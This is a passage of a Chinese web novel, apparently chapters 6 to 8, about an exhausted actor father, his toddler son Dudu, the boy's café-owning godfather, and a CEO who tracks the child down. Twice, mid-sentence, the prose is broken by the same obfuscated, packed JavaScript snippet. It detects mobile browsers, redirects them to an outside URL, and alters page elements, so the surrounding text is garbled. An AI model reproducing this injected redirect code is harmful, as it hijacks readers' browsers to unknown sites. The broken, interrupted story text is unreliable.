刚才提到嘟嘟的杜爸爸，整天迷迷糊糊的蔚染才想到：“你杜干爹回来了，他想你去他店里玩，宝宝要去么？” “杜爸爸回来惹？” 嘟嘟蹬了下小腿，没什么犹豫地：“要去噢！嘟嘟要去！杜爸爸一定，很想嘟宝啦！” “嗯，他是很想你。”蔚染又亲了亲嘟宝脸上嫩嫩的小奶膘。 再抬头时，就看见辆劳斯莱斯正好从他们旁边驶过。 蔚染立即指着外面，当即对自家崽崽给予肯定和夸赞：“真的有辆小金人唉，嘟嘟没认错。宝宝，你好聪明！” 嘟嘟开心地挺起小胸膛，顺便摇晃起小腿。 “嗯！宝宝好聪明！” 就说嘛，嘟宝不会认错哒啦！ 6. 第六章 晚间，蔚染带蔚嘟嘟去了健身房。 好不容易有个晚间休息的时间，蔚染本想专心陪宝宝玩，结果嘟嘟在听到他教练打电话问什么时候去健身时，便提出要跟爸爸去健身房。 去健身！ 作为一个正能量宝宝，为了让爸爸在以后的狗血日子里也能有一战之力，最起码要保证有事业、经济独立。 嘟嘟怎么可能耽于自己的享乐、要爸爸陪自己看动画片，而耽误爸爸的健身呢！ 宝宝的小脑瓜里总是有一些古怪又神奇的想法。 蔚染看着握着小拳头、也不知道在跟什么较劲儿的小嘟嘟，疼惜地摸了摸儿子倒是比别的小朋友要茂盛一些的头毛，最终和嘟嘟一起出现在了健身房。 “还行，一个月没来，线条还在。” 作为蔚染认识好多年的朋友，李宣跟他说话向来不太客气。 但蔚染这几年性格大变，从前爱说爱笑的人，面对李宣的肯定也只是含蓄地笑了笑，蔚染问：“今天练什么？” “我看看啊……你好久没来了，先去体测下吧。” 李宣啧了一声，一边翻着蔚染前头的记录一边说。 虽然蔚染的情况，即使不翻看他也都记得。 测试结果很快出来。 “肌肉流失也就算了，你怎么越来越瘦？” 李宣看着仪器上显示的数字，险些被气得背过气：“你只有119斤了！你这种身高只有这么点体重？！就算体脂率7%，也瘦成纸片人了！你们做明星的是完全不吃饭的吗！” 蔚染没说话，只是冲着李宣眨眼睛。 完美继承爸爸颜值的蔚嘟嘟、一双圆眼睛跟黑葡萄似的。于是作为嘟嘟的放大版，蔚染即使是一双标准的丹凤眼，那双眼睛也能又黑又圆，睁着看人的时候会给人一种无辜感，叫人不舍得深说他什么。 虽然这种“卖萌”偶尔也很气人就是了。 尤其是在他只拿这双眼睛无辜地看着人，却不说话不辩解的时候。 李宣：“……” 蔚染：“……” 其实很多时候，蔚染并不是故意不搭话不解释。 他只是又断片了。 连续工作了近三十小时都没怎么休息，蔚染白天回家倒是昏天暗地地睡了一觉，恢复了些精神，但这些蓄积下来的精力又都被用在陪儿子这件事上了，对于旁人的言行，蔚染都有些理解不能。 他很吃力地反应过来，李宣是说他又瘦了。 蔚染正想解释什么的时候，李宣已经看出来了，当即说：“你这是昨天又熬大夜，没睡好吧？” 蔚染慢八拍地解释：“那个，我最近太忙了，不过我有好好吃饭！也按你说的有及时补充维生素……” “……” 跟蔚染说话有时候就是这么气人。 不是驴唇不对马嘴，而是5G对上了2G，你已经说到近代史他还在说唐朝的事，效果都还不如已读乱回。 李宣有气都撒不出去：“你……” 这个时候，嘟嘟赶紧跑过来保护爸爸。 “宣酥酥，我爸爸知道错了，补要骂我拔拔了！” 白嫩嫩的人类幼崽一边抱着爸爸的大腿，一边站在蔚染身前一点的位置，冲着教练叔叔眨眼睛，模样如临大敌，表情比负责替蔚染发言的经纪人还要严肃认真。 嘟嘟平时很注重发音，在他看来吐字不清是小孩子才会有的毛病。 嘟嘟已经不是小孩子了。 但着急的时候还是会出现这个问题，蔚嘟嘟也没有时间纠正，只是护着爸爸说：“窝拔拔，之后会努力哒！” 他宣酥酥：“……” 等等，叔叔也没想对你爸爸怎么样啊？ 李宣最后就只能：“你……我……算了，先热身吧。” 蔚染：“……” 嗯？ “哦。” 依旧在状况外的蔚染知道自己被嘟嘟保护了，但还是有点状况外。 李宣专门针对他的工作时间、给他做过健身计划和食谱，详尽到每天下午茶时间该补充什么。 蔚染觉得没有严格执行的自己挺对不起教练的，更不知道说什么了，只能含蓄地抿了抿唇，露出一副知道自己做错了事情的神态。 李宣真拿他没办法了：“……热身，我说，开始热身了！” 蔚染：“……哦！” “……” 蔚染起初的梦想可是要当一名功夫巨星，身材管理这件事几乎已经刻进了他的DNA里，更是酷爱运动。 李宣跟他就是在健身房里认识的，后来俩人参加选秀节目的时候又不期而遇，算是彻底熟了。 那会儿李宣是学街舞的，蔚染学音乐。 后来蔚染凭借国外某知名大学音乐学院才子的身份，作为歌手出道了，李宣落选，就干脆去教街舞了，最后还做了健身教练。 从前蔚染做歌手的时候就特别自律，连在幕后等着上台的时候都要抽空做几组俯卧撑，现在在剧组虽然无法天天系统训练，但这习惯也依然保持着。 热身对他来说完全是小儿科。 李宣没管他怎么热身，而是认真设计今天的健身内容。考虑到蔚染昨天没怎么休息……说实话，他都有点担心蔚染在长时间休息不好后，会因为运动强度过大而暴毙。 “啧，所以你爸那腹肌，是在剧组吊威亚的时候练的吧。” 李宣一边填写表格一边跟嘟嘟说。 蔚染拍戏的路透视频他有刷到过。那段视频正好是拍摄蔚染悬挂在威亚上，几乎无辅助地做着360度旋转的动作。 ……尽管蔚染这些年经历了很多，绝大多数时候都在走下坡路，但不得不说，蔚染的核心的确变得越来越强。 而这，源于蔚染对待任何事都极为认真的态度，以及超高的职业素养。 在很多明星都选择用替身赚快钱的时代，蔚染不用替身，自己吊威亚，这也就算了。 自己吊威亚的人中，能做到平地侧翻和后空翻、并没保持帅气和气势的人则更是少之又少。 网上的人都说蔚染是运气好，才捞到韦玉书的角色，一炮而红的。 殊不知导演当初看重的就是蔚染的这种不可替代性。 长得好，气质好，身材好。 能拍打戏、听话，事儿还少。 有正事儿的导演和制片人会不喜欢他才怪。 嘟嘟知道什么叫威亚，他也不确定爸爸的腹肌是怎么练的，只是有点小担心地说：“宣叔叔，我爸爸的腰，米有问题吧？” 书上说，爸爸未来在拍一部戏时会伤到腰，之后身体就更加不好了。 尽管只是一笔带过的剧情，可嘟嘟却深深地放在了心上。 宝宝不能让爸爸受伤。 李宣：“好好练核心，拍戏前做好热身，应该没什么问题。” “不过你爸太拼了，嘟嘟告诉叔叔，你爸爸有好好吃饭吗？” “唔……”这个嘟嘟听王奶奶提到过，嘟嘟不好撒谎，圆眼睛转了转，只好如实告诉叔叔：“爸爸不喜欢吃东西……” “我就知道。” 知道蔚染在留意着这边，李宣故意说：“知道吗，曾经你爸最头疼的事情就是减肥，为了事业吧，他倒是能强行把自己的体重保持在135左右，但是馋啊，每天馋炸鸡馋烤肉馋小甜点，都馋哭了……” 在一旁做热身运动的蔚染狂眨眼睛，要他别说了。 没有爸爸想被宝贝知道自己当年的糗事！ 然而说着说着，李宣也有点说不下去了。 曾经，最让蔚染头疼的一件事情就是减肥。 但是后来，这种烦恼就没有了。 蔚染性格大变，一整个开始厌食了。 到嘟嘟出生以后，蔚染的体重直接掉了十斤、下到一百三以下，之后无论如何都没再胖回去过。 李宣话锋一转，蹲下身看向小嘟嘟，笑眯眯地问：“所以嘟嘟觉得，晚上咱们应该安排爸爸吃什么？” …… 李宣的健身工作室离蔚染家不远，晚上一起吃完饭，蔚染拉着嘟嘟消食，干脆走回家去。 蔚染现在租房子的小区是一个中高档级别的小区，设施不算特别完备，但胜在物业给力，封闭性强，隐私度高，这是蔚染当初紧一紧钱包也选择搬进这里的原因。 夜晚微凉，但今晚难得没有什么风，远处是一轮雪亮的圆月，倒挺适合出门走走。 嘟嘟一只小手只够牵住爸爸两只指头的，更多的时候他的手都是被爸爸握在掌心。 但今天不一样，今日的嘟嘟格外开心，就牵着爸爸的手指头，自己哒哒哒地走。 路过一片石子路地面，嘟嘟开始变得异常谨慎，小板鞋都不再发出哒哒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361013|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音。 嘟嘟是在仔细观察路面。 通往他们那栋楼的路上，有一段区域是石子路，之前被雨水冲得洼陷了一块儿，并不明显。 但嘟嘟脚丫小，那天走路时，他的小脚正正好好被卡进了缝隙里，一个没注意就崴到了。 之后也没人特别告诉过他什么，但再路过这片石子路园区时，嘟嘟都会严阵以待，仔细观察好每块石头的走势、确定小脚不会再被卡住后才会落脚。 蔚染看着认真躲避“障碍”的儿子，被萌到的同时又微微松了口气。 比起怎么样都不长记性的孩子来说，在安全问题上会保持谨慎的宝宝显然更让家长安心。 只是嘟嘟这性子，究竟是随了谁呢？…… 蔚染总想不明白这一点。 夜晚，父子两个洗干净后就钻进了被窝。 嘟嘟可以自己睡，但爸爸在家的时候小崽儿还是喜欢贴着爸爸睡。 蔚染脸上贴着面膜，身边贴着嘟嘟暖呼呼的小身子，嘟嘟怀里则抱着他一直都很喜欢的羊驼玩偶。 摸了摸儿子柔软的头毛，也顺便撸了把小羊驼，蔚染打算给儿子讲睡前故事了。 没想到蔚嘟嘟鼓涌了几下，忽然扭过小身子问他： “爸爸，宣叔叔是我爸爸吗？” “嗯？” 蔚染本来就迷迷糊糊，嘟嘟的问题又语出惊人天马行空，蔚染好半天才反应过来，赶紧回答：“当然不是！” 嘟嘟仰起小脸朝向爸爸，声音糯糯地：“哦。” 仿佛就是确认似的例行一问。 “……宝宝怎么会这么问？” “唔，就是因为，因为……”嘟嘟又开始忸怩起来。 因为他发现宣叔叔也挺不错的，而且跟爸爸是旧相识，看起来对爸爸也很好的样子。 嘟嘟之前没考虑过宣叔叔，是因为据说自己的另一个爹出身豪门——书里说，爸爸被带回去后就会开始被豪门亲戚挤兑，这是爸爸不开心的原因之一。 而宣叔叔家里不是豪门。 不过万一是什么豪门抱错梗呢？ 这本书里又不是没有这种情节，嘟宝不得不考虑这个可能！ 嘟嘟在爸爸身边摆弄小手指！ 蔚染干脆把崽崽收紧在怀里，声音绵软，极尽温柔，也有些吃味地说：“嘟嘟不是说过，只有爸爸一个人就够了，不需要另一个爸爸的吗？” “……嗯，嗯。” 嘟嘟毫不犹豫地晃着大头点头，“嘟嘟只要爸爸！” “嗯。” 蔚染抱紧表情坚定的人类幼崽，疼惜地在对方柔软但发量惊人的西瓜头上揉了揉，说：“爸爸也只要嘟嘟就够了。” “可是万一那个人来找爸爸了怎么办……”嘟嘟一边小声嘀咕，一边小心打量着爸爸。 人类幼崽，一整个猫猫探头。 蔚染失笑，说：“怎么可能呢？” 把嘟嘟的小腿放在自己的肚子上，后来人类幼崽就干脆全趴在爸爸身上，于是蔚染的怀里，便多了一只软乎乎的小咪猪。 又像小猫咪，又像小猪仔。 蔚染满足地揉着儿子，想了一会儿才想到该怎么说：“就像，嘟嘟崴过一次脚之后，再走那条路都会格外小心、绝对不会在同样一条路上再栽倒第二次一样。” “那个人也不会。” 嘟嘟这点，跟那个人倒真像。 区别是那个人会更狠。 ——栽过一次后就会直接将一整条路都铲平重铺，在永绝后患的同时，还会体面得像什么都没发生过一样。 所以嘟嘟的担忧完全没必要。 当然，蔚染也有自己的坚持和执拗，所以其实，他们都是同样的人。 他们就不可能有可能，蔚染早就不在乎了，只是每每想到这里，他都会觉得特别对不起嘟嘟。 “是爸爸不好，爸爸没有给嘟嘟一个完整的家，还要嘟嘟为爸爸担心。” “没有呦。” 嘟嘟安心地趴在爸爸身上，又觉得爸爸的锁骨硌硌……不过没关系，宝宝只要稍微调整下角度，歪头用脸蛋儿垫在那里，就不会被硌痛啦！ 猫咪小猪变成了一只黏人的小树袋熊。 还是半边脸蛋儿都被挤变形的那种。 蔚嘟嘟抱紧爸爸，再度强调：“嘟嘟，有爸爸一个爸爸就够啦！” 7. 第七章 隔天，幼儿园半天班，蔚嘟嘟小朋友下午就没事做了。 恰好蔚染的发小杜陵最近回国，能帮他带娃，蔚染就干脆给好久没休息的王阿姨放了假，然后把嘟嘟送去杜陵那里。 毕竟杜陵是个幼崽控，而嘟嘟也很喜欢他杜爸爸。 杜陵最新开了家咖啡馆。 位置就开在S市金融中心的核心功能区，来往顾客络绎不绝，几乎都是穿着打扮体面的商务人士。 也因此，当咖啡馆里多了个粉雕玉琢的人类幼崽时，就变得异常醒目和稀奇。 “呦，这谁家孩子，你们老板的弟弟？”经常来买咖啡的女顾客跟前台正做着手冲的小哥搭话。 杜陵是杜家的二少爷，不说是含着金钥匙长大的，但也算是打出生那天起就吃喝不愁。 上面有一个大哥，也不需要他奋斗什么，杜二少一直躺得很平，如今快三十了还没什么正经事业，最后就回国开了这样一家咖啡馆。 没想到他玩世不恭的气质、以及保养得当的脸蛋还挺受欢迎。 经常来买咖啡的人中，好多都是因为看上了这家店里单身又不差钱的老板。 坐在操作台后面，正小肉爪摆弄豆子的蔚嘟嘟闻声抬头，已经自我介绍道：“姐姐好，我是老板呦。” 手冲小哥最后一次向杯中注水完毕，等咖啡水隔着滤纸流下来的空档，笑着说：“对，这是我们小老板。” “小老板？” 几名顾客闻声齐齐向这边望。 而嘟嘟则平稳地跟这些姨姨叔叔们对视。 ——干爹说这家咖啡馆就是给嘟嘟开的，未来要由嘟嘟来继承。……要不是爸爸坚决不同意，这家咖啡馆都叫嘟嘟咖啡馆了！所以嘟嘟就是这里的老板呀，没错哒。 只露出个大头的人类幼崽儿，脸特别圆、小奶膘挺翘。 圆眼睛里有好奇却也充满笃定，偶尔眨下眼，还略有些稀疏的长睫毛一晃而过，表情真挚又诚实。 俨然一只精神抖擞的小天使。 已经有人被萌得捂住了胸口，还有人隔着很远的距离跟嘟嘟晃手打招呼。 身为小老板的嘟嘟都礼貌回应。 操作台前的女士倒是一怔，难以置信地问：“……小老板是什么意思，你们老板的儿子？” 咖啡小哥还没回答，“叮铃”一声响，咖啡馆的大门被人推开，一个穿衣风格比较骚包的青年走了进来，一进门就冲操作台后的嘟嘟叫：“儿砸！” “杜爸爸！” 嘟嘟积极回应，小手扒住操作台就熟练地从椅子上滑下，两只小脚便着了地。落地后，嘟嘟更是马不停蹄地哒哒哒向杜陵跑去。 西瓜头的小刘海飞扬，腮边凝固的小奶膘都乱颤起来，嘟嘟吧唧一下跑去抱住他杜爸爸的大腿。 一下子情绪价值被拉满的杜陵：！！！ 连站在操作台前的女顾客都忍不住觉得：好萌！ 杜陵已经把小豆丁拎着抱了起来。 坐在干爹怀里的嘟嘟开心地晃起脚丫。 杜爸爸也不是嘟嘟的另一个亲爹，因为杜爸爸比爸爸矮了一厘米。 不符合书里的设定。 但这并不影响嘟嘟喜欢杜爸爸，并想让他成为自己的另一个爹。 小朋友不会以世俗的目光去看待大人，杜陵在圈内人的眼里是个胸无大志的废柴二世祖，但嘟嘟的眼里，杜爸爸真挺适合当他另一个爸爸的。 嘟嘟眼里的杜爸爸：很宠嘟嘟，能陪嘟嘟玩儿，并且很在乎爸爸、对爸爸很关照……唔，唯一不好的一点，就是杜爸爸曾经很毒舌，会经常说染染傻，明明心里不是那么想，也净说些难听的话。 剧情里，得知染染有了嘟嘟后，杜爸爸就经常那样骂染染。 而爸爸又是外软内硬、很倔的那种人，两个昔日挚友最后就分道扬镳了。 现实里也的确发生了这样的事。 不过自从嘟嘟降生后，杜爸爸的毒舌，就已经在嘟嘟的教育下改变很多啦！ 染染爸爸才不傻。 唔，至少，无论如何都不可以那么对爸爸讲话。 染染，就是要被无限宠着哒！ 于是那会儿，在年仅一岁半、口齿还不清晰的嘟嘟几次义正言辞的纠正下，杜爸爸的毒舌炮仗属性果真改掉了不少。 性格幼稚、怎么看都还是小孩子的杜二少，不仅直接越级成了人家干爹、甚至还变成了个顶级娃控。 而在嘟嘟的努力下，杜陵和蔚染破裂的友情也修复如初。 杜爸爸这次回国，就是专程为了来做爸爸的后盾的！ 在嘟嘟看来，如今已经学会说好话了的杜爸爸，就很适合做自己的另一个爸爸。 那样的话，就估计完全不会出现像书里写的那样，染染爸爸被另一个爸爸追回去后，整日以泪洗面的状况。 嘟崽托腮思考。 说起来，嘟嘟不知道自己的另一个爹是谁，宝宝也没有特别执着地去问过爸爸。 因为每次提到那个人相关的事，爸爸都会不经意间露出受伤的神色。 用追《夜将行》的剧粉的话说，平日里坚强又漂亮的“韦玉书”，每次一露出沉默哀伤的神色，他们就要忍不住开始跟着哭了。 嘟嘟也受不了爸爸露出那样的表情。 宝宝的小心脏会痛痛。 所以嘟嘟每次也只是试探性地问问，并不深究。 而对于那所谓的书中剧情，嘟嘟其实自有一套打法：既然不知道究竟谁是自己的爹，那就统一调教！ 反正，只要将可能成为他另一个爹的人训练成像杜爸爸这样，就没什么问题了哒。 一想到有杜爸爸这样被完美改造了的爸爸，嘟嘟就自信满满，觉得崽儿一定能把这件事情弄好！ “嘟嘟，喝不喝咖啡？” 杜陵轻易夹着好小一只、但总感觉思绪很重的嘟嘟，将小幼崽抱到老板专座上。 他也就是随口一问，不可能给嘟嘟喝咖啡，要不然蔚染不跑来打死他才怪。 陷入柔软沙发的嘟嘟咯咯了一声，摆手，果然也很有自知之明：“不要呦！谢谢杜爸爸！” 忽然接收到幼崽甜甜的道谢，杜陵立即觉得世界都美好了，他秒变夹子音地说：“那爸爸让人给你做果汁吧~正好店里最新到了红芭乐，嘟嘟很喜欢芭乐对不对？” “对呦。” 蔚嘟嘟干脆在沙发上打起了滚。嘟嘟喜欢甜甜的，什么果汁儿都喜欢！ 林氏大楼。 集团CEO专属的办公室坐落在37层，宽敞明亮的房间内，林洛宸视线从电脑上挪开，抬手按了按酸胀的太阳穴。 办公桌上，他的马克杯里装着一杯清水，林洛宸将之一饮而尽。 饶是这样，那些又骤然浮现在脑中的画面还是挥之不去。 是十八岁、还在音乐学院读书的蔚染。 那时候林洛宸自己也才17，第一次见蔚染，是在自己母亲家里。 蔚染穿着音乐学院发放的制服，是件款式老土的白衬衫，可斯文俊秀的人身形纤细匀称，硬是把普普通通的衣服穿成了别样的风致。 至少林洛宸的脑中现在也还储存着那个画面——少年坐姿随意，脖颈颀长，阳光在他的长睫底下制造出一片小扇子似的阴影。 …… 那年林洛宸被保送到了MIT商学院读书，在学校落脚后，就乘坐飞机去纽约探望了母亲。 母亲是蔚染的音乐老师，蔚染受邀去母亲家里做客，林洛宸恰巧也在。 两个中国人在异国相遇，正常是应该交流几句。 可林洛宸正处于叛逆期，不喜言辞，在母亲给他们互相做了介绍后，是蔚染先开腔的。 纽约十一月份的天气总是阴阴的，但初见蔚染的那天，阳光却意外强烈。 古朴的旧式公寓楼里，洁净的落地窗前，蔚染清隽的脸上漾着笑，有点小绵羊音地说：“你好啊，我叫蔚染，虽然是蔚蓝的蔚，但读作姓氏的时候是要发音成‘yu’的，四声。” 阳光在蔚染的脸上洒下一层绒绒的金。 或许因为这人的相貌，是那种特别有辨识度的好看。 林洛宸自此以后，便总是想起那张阳光下的白净面庞。 …… 在林洛宸的记忆里，蔚染有梦想，懂自己在做什么，年轻但不气盛，永远乐观且清醒。 意气风发的蔚染说他毕业之后会回国发展、会成为功夫巨星，所以即便是音乐学院出身，蔚染也会去学表演和各种武术。 音乐是天赋，演戏是爱好，拿蔚染的话说，他就是这样的十项全能自强不息。 蔚染的阳光开朗总是能感染身边的人。 蔚染也很可爱。 林洛宸的脑海中总是自动浮现出蔚染很爱吃甜点，却总要为了控制身材而崩溃的画面。 所以关于蔚染的绝大部分记忆都是甜的，是暖的，是阳光和蛋糕的味道。 它也是陌生的。 陌生到五年后的林洛宸每每想起这些时，都难免被灼烧得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361014|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵刺痛。 他记忆中关于蔚染的最后一幕，是蔚染红着眼睛直视着他，表情坚决果断地对他说：“对不起，做明星不能谈恋爱，我不能接受你。” “那只是个意外，我们还是不要见面了吧。” …… “砰”地一声，马克杯被砸在桌面上，充满蔚染的记忆应声碎裂。 林洛宸目眦尽裂，总觉得自己的记忆与现实情况严重不符。 ——究竟是什么样的女人，会让蔚染如此不管不顾地跟她在一起，不惜放弃了事业？ 或者干脆是自己的记忆出了差错，全部都是头脑在骗他，他从来都不曾真的认识过蔚染这个人，一切都只是他的幻想而已。 林洛宸忽然烦躁起身。 双手插在西裤兜里，面朝窗外俯瞰S市繁华的CBD街景，他近一步动作粗鲁地扯了扯自己的领带。 在室内太过压抑，林洛宸干脆举着马克杯走出总裁办，午休时间，坐在外面的女秘书也没想到总裁这时候会出来，不禁有些慌乱地抬头。 “林总？是需要我给您倒杯水吗？” 林总不喝茶也不喝咖啡，按理来说极好应对。 但偏赶上今天总裁办的饮水机坏了，下午才能换来新的，这期间他们就只能去隔壁的茶水间弄水喝。 林洛宸的确是想出来弄点水。 只是一低头，就发现了秘书手机屏幕上的照片。 锋利的眉峰当即一扬，林洛宸脸色直接落下了…… 那上面，不就是蔚染的儿子白嘟嘟？！ “这孩子是？” 在自己反应过来时已经下意识问出声，除此之外，林洛宸还发现秘书工位上的名牌，显示这位秘书就姓白。 “嗡”的一下，林洛宸出现了严重的耳鸣，高大的身影几乎摇摇欲坠。 秘书被林总差到极致的脸色吓到，连忙点击了下手机屏幕说：“抱歉林总，我只是在刷朋友圈。” “朋友圈？谁的朋友圈？他是你儿子？” 林洛宸的问题珠子似的蹦下来，直接把白秘书吓得快要晕厥，同时也惊呆了。 ——自己只是在看隔壁公司，某做销售的小姑娘发的朋友圈…… “啊？不是啊，那怎么可能呢……” “隔壁公司的小姑娘？哪家公司？这是她的孩子？”林洛宸只觉得头更疼了。 “不不不林总。”尽管不知道这可爱的人类幼崽是谁家孩子、怎么对林总来说这么重要。 但白秘书下意识感觉出，林总很不希望这孩子是她、或者他们身边任何人的！ 这当然要赶紧解释清楚了。 白秘书：“我不知道这个宝宝是谁家的！” 说着，白秘书干脆把自己的手机举给林总看，“只是Shally去楼下喝咖啡时遇到的小朋友！” Shally的朋友圈头像就是她本人，干销售的不需要固定坐班，Shally也很乐意在朋友圈分享她平时的小资生活。 [Shally：公司楼下新开的YDD咖啡馆，老板说因为他儿子来店里当小监工了，所以今天的单品咖啡都打折（憨笑） 今日份的小确幸是这个可爱宝宝带来的！怎么办，他真的好可爱吧！（可爱）] 配图是顶着西瓜头的嘟嘟坐在料理台后，一边鼓着腮帮嘬果汁，一边挥舞小手吭哧吭哧、帮忙整理咖啡豆的实时照片。 白秘书就是因为一眼扫过去这娃也太萌了，才点开图片看大图的，顺便失神地考虑自己要不要趁有活动，也点一杯咖啡。 不想就被顶头上司给撞见了。 “YDD咖啡馆……” 白秘书只最后听见这一声呢喃，便感觉笼罩在自己身上的阴影散去了。 再抬头时，哪里还有她们集团总裁的身影？ 一片衣角都看不见了！ 哦，林总倒是把他的杯子留下了。 . 林洛宸乘坐专梯下楼，走出公司大厦后，开始盲目地在周围转了起来。 这一片全是写字楼，楼下至少有十家咖啡馆，林洛宸不喝咖啡，平时都不会多给这些店铺一个眼神。 但是没关系，既然是开在楼下的，他总能找到。 ——既然自己的记忆与现实结果严重不符。 那么为了弄清真相究竟是什么，林洛宸觉得自己也应该去蔚染那里一探究竟。 对，他不是要调查蔚染，也不是打算跟对方纠缠不清。 他只是想了解真相而已。 8. 第八章 金融中心的地皮寸土寸金，YDD咖啡馆外面却围出了一小片空地，摆了三套餐吧座椅作为室外休息区，其老板的实力可见一斑。 已近下午工作时间，休息区没什么人，但路过这里的人都能看到一个穿着牛仔背带裤的小孩儿正撅在里面，旁边趴着一只哈士奇。 “博士，我跟你说喏。” 蔚嘟嘟一边用小梳子给狗狗梳理毛发，一边趴在狗耳朵边叽叽咕咕。 哈士奇没有动，但一脸生无可恋。 也不知道听进去没有，它偶尔会眼神或憨憨或惊悚地看向身边的人类幼崽，但更多时候，它都只对着外面的路人们吐舌头，然后继续一脸的生无可恋。 已经跟博士分享完昨天去跟爸爸健身时喝到的果汁，蔚嘟嘟梳完一侧的狗毛，正打算绕到另一边去梳另一侧的毛毛，一回身就看见一个高大的身影站在院外。 “叔叔？” 嘟嘟记性很好，很快认出外面的叔叔，就是前几天自己派发板栗时遇见的那个。 他干脆站起身来，身量刚到林洛宸的膝盖，望向个头高高的叔叔时，嘟嘟总要奋力仰起大头。 林洛宸冲幼崽点了下头，“听说你是这里的小老板。” 也不拐弯抹角地直接问。 西瓜头的小少年没什么犹豫地点头：“嘟嘟是呦！” 表情天真又坚定。 跟蔚染真像。 这个孩子的外貌跟蔚染至少有七分相似，忽略两颊上的小奶膘的话，简直是蔚染的翻版。 林洛宸略微有些失神，喉咙上下动了一下，才又问：“那你妈妈在这里吗？” 他一路上分析，蔚染现在的情况不可能开这家咖啡馆，一是做明星不方便抛头露面，蔚染还没到那个时候；二是蔚染现在也不应该有那个精力。 所以开这家咖啡馆的就一定是嘟嘟的另一位家属。 纵然这小孩长得跟蔚染再像，但不将他们父子放在一起看、或是可以联系到一起的情况下，一般人也很难发现端倪。 蔚染的儿子在这里做小老板，倒完全不会引起骚动。 当然因为过分可爱、致使白嘟嘟无意间出现在各种顾客的朋友圈中，倒应该只能算作是意外。 抛弃所有私人情感、客观地评价，林洛宸也觉得白嘟嘟生得标致，挺可爱。 他的另一位家属，长得应该也不赖。 或许还有一定的资产——刚刚林洛宸打量了这店里的一应装修和摆设，是个挺有“品味”的人。 只有长期不差钱、不需要为物质操心的人才会在店里摆放那么多四五位数的小摆件，只作为不起眼的简单点缀。 慵懒和低奢，都需要很长时间的培养和熏陶。常规定义下，这间咖啡馆的确够有格调。 不过林洛宸并不很赞同这种所谓的品味就是了。 这让他想到了家族里头那些好吃懒做、尸位素餐的人。甚至心里涌上了一些不爽和恶心。 蔚染，就是为了这样一位平平无奇的富家千金折腰的？ ……那般决绝地拒绝了自己的蔚染…… “唔，嘟嘟没有妈妈。” 就在林洛宸大脑飞速运转、几乎就要目眦尽裂的时候，对面的小朋友忽然挠了挠趴在地上的哈士奇的狗头。 被撸了的博士一脸懵逼。 对面的林洛宸则重重一怔。 “……没有妈妈？” “是呢。” 嘟嘟继续摆弄博士头顶的狗毛。 哈士奇因为幼崽的摆弄眉头紧锁、两耳倒竖，正要反抗。 结果嘟嘟就用小手抓起了博士的脑壳，非常尽心尽力地按摩。博士一整只狗都被爽到了，趴在那里继续“哈、哈”地吐着舌头。 虽然爸爸也是妈妈，但爸爸只想嘟嘟叫他爸爸，所以爸爸就只是爸爸。 嘟嘟一番思考后做出声明：“嘟嘟，就只有爸爸呢！” 林洛宸：…… ……这样说来，蔚染跟这里的老板也分得很彻底。 也不知怎么，压在林洛宸心上的重量骤然一松。 仿佛足足阴了一整个世纪的天空骤然散开浓雾，阳光猛地倾洒进来，黏湿的空气都多了一丝干爽的气息，郁沉的心情都跟着消解。 这种难得轻快的感觉驱使他迈步走了过去，来到蹲在那里、小团子一样的幼崽面前。 然而没等林洛宸说话，咖啡馆的门就被人从里面拉开—— “让我看看，给狗子梳毛的小朋友需不需要喝点水水？” 一道明显不正经的男声传来。 蹲在地上的嘟嘟却立马放开手里的狗子，跑向刚刚出现在门口的男人，声音脆脆亮亮：“杜爸爸！” …… ？！ 听见嘟嘟的这一声叫，林洛宸跟着回身，眉宇阴沉。 ——白嘟嘟嘴里刚叫着什么？ 出现在咖啡馆门口的男人穿着考究，风格与这家店铺相近，百分之九十九是这里的老板了。 所以这家店的老板其实是个男人。 …… 嘟嘟是他的儿子？ ——嘟嘟就只有爸爸呢……白嘟嘟糯叽叽的声音还在林洛宸耳边回荡。 却不知为何，乍然变得刺耳异常。 ……所以，孩子口中说的就只有爸爸，是、是这个意思。 这小孩……其实是有两个爸爸。 …… 杜陵刚接住飞扑过来的小幼崽，就发觉哪里不对。 气压忽然都低了下来，整片区域都变安静了是怎么回事？ 他下意识抬头望向嘟嘟身后的客人。 这个人…… 杜陵眉头一皱，抱起嘟嘟后，就对那位个子很高、看上去也年轻，却穿着大师级别高定的男人点了点头。 杜陵的行为完全符合咖啡馆老板的身份。 既不谄媚，也不怠慢，意思是要对方自便。 随后，他无视了那人的存在，抄起怀里的嘟嘟步入室内，边走还边逗嘟嘟说：“让Daddy看看，我们宝宝的小手是不是都弄脏了？” 嘟嘟的注意力被杜爸爸吸引，当即嘎嘎乐了起来，伸出白嫩嫩的小手跟他干爹看，声音很糯：“没有噢。” “怎么没有，全是狗毛。” 杜陵笑着带嘟嘟去洗手：“要赶快洗掉，不然有细菌。” 嘟嘟复读：“有细，菌~” 杜陵：“这要是被你爸知道，他又要骂我了。” 嘟嘟不复读了，例行维护爸爸：“不会哦，爸爸，最温柔！” “怎么不会？你爸只是不会凶嘟嘟而已，对我可凶了。” “哒？” “嗯！” “哒。” “……” 洗手间传来杜陵咆哮的声音：“小混蛋，你爸凶我你就不管了吧！” “唉呀……” 嘟嘟咿咿呀呀。 是幼儿版的顾左右而言他！ 